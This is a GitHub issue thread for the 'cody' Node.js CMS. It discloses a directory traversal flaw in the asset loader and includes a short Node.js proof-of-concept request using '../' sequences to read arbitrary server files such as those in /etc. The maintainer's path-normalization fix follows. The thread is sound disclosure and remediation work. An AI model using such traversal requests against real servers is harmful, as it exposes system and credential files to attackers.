jcoppieters / cody

Javascript Content Management System running on Node.js
howest.cody-cms.org
MIT License
678 stars 197 forks source link

Directory traversal attack #16

Closed devoidfury closed 9 years ago

devoidfury commented 9 years ago

The 'Dynamic' asset loader isn't jailed to the defined data directory, so it can and will serve any file on the system as long as:

1) the malicious user knows the path to the file they want. Many common files, especially those found in /etc, can lead to further exploits by exposing other vulnerabilities on the system.

2) the server system user running node has read permissions on the file (and a lot of people run node as root, sadly).

3) a request method that does not resolve paths automatically, like a browser or curl do. This is as simple as running a script from a remote machine

Example remote exploit script:

var http = require("http");
var request = http.request({
 hostname: "localhost",
 port: 80,
 path: "/data/../../../../../any/path/on/server",
 method: "GET",
 headers: {Accept: "text/html"}
}, function(response) {
 var str = '';
 response.on('data', function (chunk) { str += chunk; });
 response.on('error', console.log);
 response.on('end', function () { console.log(str); });
});
request.end();

The other file serving routes should be tested for this vulnerability as well.

jcoppieters commented 9 years ago

Dear Tom,

Many thanks for the feedback. Yes, you are right, although you need a malicious developer (like you say: webbrowsers normalize the ../../../ stuff)

I've replace/added code and checked it in:

var uri = url.parse(self.request.url).pathname; uri = uri.replace("data/",""); var filename = libpath.normalize(libpath.join(this.path, uri));

// check for malicious paths -- thanks to Tom Hunkapiller if (filename.indexOf(this.path) !== 0) { console.log("Dynamic.serve -> malicious path: " + uri); generate404(self.response); return; }